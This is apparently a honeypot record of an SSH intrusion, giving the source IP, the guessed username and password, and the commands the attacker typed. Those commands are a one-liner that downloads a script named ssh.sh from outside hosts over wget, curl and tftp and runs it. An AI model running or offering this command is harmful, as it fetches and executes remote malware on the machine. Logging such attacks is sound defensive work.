Details

ID	a4ad608b-903d-45d5-b9e3-0041db004a2c
Attack Type	ssh
IP Address	141.98.10.162
Username	elk_user
Password	forensics
Client Version
Country
Date	2025-07-01 05:15PM

Commands

cd /tmp; wget http://107.150.0.18/ssh.sh -O- |sh;curl -o http://107.150.0.18/ssh.sh -O-|sh; tftp -r ssh.sh -g 213.209.143.44; chmod 777 ssh.sh; sh ssh.sh;\n

Proxy Requests

	IP Address	User / Pass	Date	Headers	URL